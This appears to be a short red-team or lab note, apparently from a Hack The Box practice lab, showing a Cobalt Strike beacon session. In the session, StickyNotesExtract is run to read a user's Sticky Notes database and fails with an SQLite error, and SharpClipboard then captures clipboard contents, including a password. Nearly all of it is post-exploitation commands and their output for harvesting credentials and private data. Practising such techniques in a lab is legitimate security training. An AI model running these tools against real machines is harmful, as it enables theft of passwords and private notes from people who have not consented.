Extract information from the clipboard

SharpClipboard

beacon> execute-assembly /opt/SharpCollection/NetFramework_4.0_Any/StickyNotesExtract.exe
[*] Tasked beacon to run .NET program: StickyNotesExtract.exe
[+] host called home, sent: 737835 bytes
[+] received output:

===== StickyNotesExtract: Read data from Windows Sticky Notes =====

[!] Sticky Notes DB file: C:\\Users\\iron\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite

[i] Created temporary DB at: C:\\Users\\iron\\AppData\\Local\\Temp\\xecatkgd.huc

[*] Extracting Sticky Notes data:

[+] received output:
SQLite.SQLiteException: no such table: Note
   at SQLite.SQLite3.Prepare2(sqlite3 db, String query)
   at SQLite.SQLiteCommand.Prepare()
   at SQLite.SQLiteCommand.<ExecuteDeferredQuery>d__9.MoveNext()
   at System.Collections.Generic.List`1..ctor(IEnumerable`1 collection)
   at System.Linq.Enumerable.ToList[TSource](IEnumerable`1 source)
   at StickyNotesExtract.Program.Main(String[] args)

[+] received output:
Copy event detected at 26/03/2021 14:54:52 (UTC)!
Clipboard Active Window: 

[+] received output:
Clipboard Content: execute-assembly /home/iron/Documents/HTB-Pro/RastaLabs/WS01/SharpClipboard.exe -h

[+] received output:
Copy event detected at 26/03/2021 14:55:09 (UTC)!
Clipboard Active Window: Windows PowerShell
Clipboard Content: C:\\Users\\iron\\Downloads

[+] received output:
Copy event detected at 26/03/2021 14:56:19 (UTC)!
Clipboard Active Window: Administrator: Windows PowerShell

[+] received output:
Clipboard Content:  MyPassword1!